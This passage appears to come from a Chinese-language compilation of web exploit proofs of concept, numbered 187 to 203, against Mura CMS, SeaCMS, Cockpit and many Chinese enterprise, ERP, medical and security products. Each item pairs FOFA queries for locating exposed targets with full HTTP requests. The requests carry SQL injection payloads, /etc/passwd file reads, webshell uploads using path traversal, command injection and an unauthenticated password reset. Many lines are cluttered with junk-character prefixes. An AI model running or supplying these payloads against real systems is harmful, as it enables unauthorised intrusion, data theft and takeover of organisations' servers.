' y. H, I& m& `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
2 k  ?8 @- B. t8 [& ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
- z( b* L9 |' I8 g  uContent-Type: application/x-www-form-urlencoded

: Y- m* {( @/ F- Hreq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450

' M# F, |' d6 A3 c- j
187. Mura CMS processAsyncObject SQL注入
& B1 |" B( d- F8 o0 h- H7 u* XCVE-2024-32640
FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
) Z- }5 v& n0 B) N1 J9 hHost: your-ip
* f# w/ z# Q6 s6 F: P; lContent-Type: application/x-www-form-urlencoded
, _$ U% d/ l. t: d9 l1 F$ T) w

3 H) d) m% A% v, |  k# uobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1

, D( H1 ~- b/ H
188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
$ ^; Q- J0 Z6 J) F+ C+ P+ W: h8 pHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
* u% o9 @9 a- {) A# x! eAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

0 L3 z7 ~5 Z/ G& z9 u
$ X/ `, e( a4 q, S189. 蓝网科技临床浏览系统 deleteStudy SQL注入
9 J# N: R+ y, ]FOFA：app="LANWON-临床浏览系统"
5 a; c) l$ f. U( sGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
/ @6 q. f1 n0 v9 C1 |0 R9 @+ xHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
3 p$ Y; {& Z) p; h' \' }$ _, aConnection: close
; a9 A! ?4 i" O- @! ~# s  J

6 i: d! U( h1 _9 c; J; p. m$ Q190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
8 h1 Q2 _0 z: z8 ~8 bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
  U/ `7 ]+ Z3 s* P. |Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

% l4 {/ G) O* L% x" ]/ M1 bpoi=file:///etc/passwd
# h* X& u4 l% f- e5 E  k3 P
" `, Z- I2 m" j2 m- w0 T
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
' U1 U% E3 ]. ~2 f$ S2 q$ J# v% gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

% m+ }+ r4 L, p1 g+ H3 _4 d* v; C, \6 Dcommand=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
. _! C4 B, ]# [1 H- u6 G$ K

4 w4 M) |+ k) m* P192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
: _$ U: c9 Y  ^POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
1 ~, G8 D9 B6 h+ Y* M7 eContent-Type: application/x-www-form-urlencoded

0 ^; }# w, p  f
<% @ webhandler language="C#" class="AverageHandler" %>
8 X) p. k. O( u' Cusing System;
: f7 {" [2 A# Jusing System.Web;
public class AverageHandler : IHttpHandler
{
public bool IsReusable
{ get { return true; } }
0 b0 X% j( }3 v/ ipublic void ProcessRequest(HttpContext ctx)
( X4 W$ |' s* ^0 N4 l' J: [- p; X2 `{
  r  f$ r8 S+ p, Rctx.Response.Write("test");
}
5 h" p  x$ t. y: q  Z$ k# D}

/ F( |& o6 _- s
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
; P3 X6 S# B1 N9 k! j. H5 CFOFA：body="山石云鉴主机安全管理系统"
( {- k0 n9 d' FGET /master/ajaxActions/getTokenAction.php HTTP/1.1
7 `. l& L* H9 G& aHost:
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0


POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
5 R' i/ p. c- r( s2 OHost:
2 ?+ i/ g- G& @+ I3 |! x/ RUser-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
% u4 Z+ x* l) e$ N8 r* gAccept: */*
6 P0 G: r( n6 r+ K2 u! aConnection: close
  h& w6 N+ K9 G+ y" Z( c% v( t% ]  W  VCookie: PHPSESSID=2333333333333;
7 I( @9 c  i6 X. q+ q. Q3 HContent-Type: application/x-www-form-urlencoded
Content-Length: 84

$ e! ]: Y5 d# Q( a3 D6 o+ Aparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')

4 V5 f2 c1 h) S7 F
GET /master/img/config HTTP/1.1
Host:
User-Agent: Mozilla/5.0


194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
) @0 j- G8 j# b0 \- bFOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
3 ?, w4 r4 U  o+ b1 L; o6 u
+ e) Y  [* O6 _: vPOST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
) G4 a& D. |: E# h7 g* g+ |6 jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
7 A- j; J# {& aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, E6 P, r' M; wAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
- g, b* a# `- ~0 PConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
# ^- f* M$ `. w" z' g) R" u( D------WebKitFormBoundaryKNt0t4vBe8cX9rZk
, I- d* k, Y' b% e6 O
Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
' B, F! `, \( F; c6 b$ Q3 A<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
; m8 r: i( v1 B) x------WebKitFormBoundaryKNt0t4vBe8cX9rZk--


195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
  T+ f" o4 J" f: {# l( uFOFA：title=="飞鱼星企业级智能上网行为管理系统
* t' i" ~. w' u/ G; zPOST /send_order.cgi?parameter=operation HTTP/1.1
! I, E% R0 v. j5 b8 u% ^( `Host: 127.0.0.1
3 x0 m6 {9 f1 G" z" GPragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
* T3 Q8 @$ y/ g5 I( TConnection: close
Content-Type: application/x-www-form-urlencoded
2 x" J* P. \: D! ]Content-Length: 68
3 Y" V( X- ~$ [7 d/ D; @" i- l7 Z
{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}


196. 河南省风速科技统一认证平台密码重置
2 Q+ W1 A& }; D: ]. oFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
$ B6 Q# {/ [0 N- N. A* c4 b' Z" qPOST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
: f1 ~6 U  g: ?. }# SX-Requested-With: XMLHttpRequest
7 m% j0 D$ b6 O5 JHost:
5 q, m4 ~% A1 O( P9 bAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
Connection: close
- w' R6 a# B; g: m6 v6 ], p* [
: V- a2 w& e! V{"xgh":"test","newPass":"test666","email":""}

& N7 ~7 A8 [% l+ R! d

197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
- P& e: v4 i% P' j' O: i5 jGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
7 v; K( f0 p- Y2 zConnection: close

3 G) E0 K( }, U& V4 u) v
+ ]2 c5 n4 E. v
0 X; D7 w- X. L. T  K198.  阿里云盘 WebDAV 命令注入
) X" l) {& P7 f) bCVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
. o" c! Q$ e& }) o) p5 sCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
% K5 ]: I' E; ]: f, B3 M( \Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
" Y: P! H* b0 t# u! R
% Y1 ?7 I" e' s
199. cockpit系统assetsmanager_upload接口 文件上传

. ~) K; G% `. k: A8 a1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1

: I0 T3 m+ M0 E9 Y' n) |7 Q响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
) z: d- V0 F/ x, t* X6 M% Z
5 s! ]' R, M) s" a' {% C  x3 b2.使用刚才上一步获取到的jwt获取cookie：

POST /auth/check HTTP/1.1
Content-Type: application/json
' _! q8 W5 z- t4 G. i( \
2 p# s. T% q* q+ ?8 j{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

响应：200，返回值:
- [$ y! M. ]3 a' l+ E! ~( cSet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
6 N1 D+ T: i0 ]9 H6 ^0 r0 d% PContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92

-----------------------------36D28FBc36bd6feE7Fb3
, o5 C; z3 s" U7 g4 O! S. RContent-Disposition: form-data; name="files[]"; filename="tttt.php"
/ |; z. l. M' {& }Content-Type: text/php

1 M+ W. |& X+ C( N$ U<?php echo "tttt";unlink(__FILE__);?>
8 ~3 `/ ]5 \: z-----------------------------36D28FBc36bd6feE7Fb3
5 p5 J1 P) W* f% O- Z0 xContent-Disposition: form-data; name="folder"
; x" }2 D. H* Z# J9 z; t; F
-----------------------------36D28FBc36bd6feE7Fb3--

3 p3 ?' o0 @1 v. g
/storage/uploads/tttt.php

200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
( a9 q0 M# G, }1 cGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
8 o5 h! j6 p: ~Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
Upgrade-Insecure-Requests: 1
4 r, L) t9 l3 J# B" K; k% TCache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
. M5 Z! S( p: ^, X1 n7 p1 b/ K4 yAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

1 K! n; U; ?& f7 j1 j% L0 P" M
201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
/ P$ U2 p' J  J; T$ @3 XAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
) }  \% H# M, M5 Z8 s) a
TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1


202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
" U- j/ o( y$ {, B/ M$ j8 }- B获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
+ {  ~1 |. u! u# K- E2 F7 @2 d# ?Host: 滑板人之家
8 |/ X8 A  q2 o7 r& t' U' |0 v5 n6 d( bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0

7 O1 c- c. m2 Z" X; E' ]
# e% |, E, W' x; t替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
$ d  K2 V% ?2 D; O6 x* C( Z/ }Accept-Encoding: gzip, deflate, br
; t- o8 O# |( E# p' ]1 tContent-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
8 v; B4 B7 N, V; k
+ T* K5 B5 i4 Y: ^9 j! S4 T4 {-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"

# ~/ N$ h1 G* N__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
9 ?. T/ ?9 F# E$ VContent-Disposition: form-data; name="__EVENTVALIDATION"

) G3 W1 \* N: R* o6 X; ]__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
7 d) A9 O/ R8 ]8 q$ TContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
1 Z# G- u+ a" AContent-Type: text/plain
: \" ^3 P: g9 i, j9 C0 \
Hello World!
* I/ D8 N! j6 ~6 T-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
" d" }6 q) h1 t8 n! @* ^9 t% r. y
上传图片
! d: e3 H$ F+ F) t-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
% F$ U4 [, X3 y- o' v' c

+ Q2 W* u8 }* X8 v8 g-----------------------------786435874t38587593865736587346567358735687
: }- T  d* y2 Y  b3 v3 t" b  JContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
! }0 L9 ]% e& H( O. |- e, f

-----------------------------786435874t38587593865736587346567358735687--
$ t3 a( O4 F! z4 X  \+ M5 ^

/_data/Uploads/1123.txt
0 ^: H- O* z$ u9 h7 W9 @* g0 b
203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
0 z1 [  z. E% R; [3 ?1 OAccept-Encoding: gzip
0 P& ]5 W7 z+ }7 eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
: l3 U+ z1 t# R! m( P8 xContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210

, b  B6 T7 N. q: m( E------WebKitFormBoundaryt7WbDl1tXogoZys4
1 p$ d. O, ]4 jContent-Disposition: form-data; name="fj_file"; filename="11.jsp"
* t5 q7 r/ i8 ?1 NContent-Type:image/jpeg
% [3 o: r7 b  ?+ h% Z
) x: F' l7 v+ I<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--

6 t6 I9 P% [( j
4 y4 e4 L& A% C' b" N( d
$ d  a, P# r3 x
$ Y( b0 @' z/ W7 u8 }& v/ T
( v+ X' C( h" `, x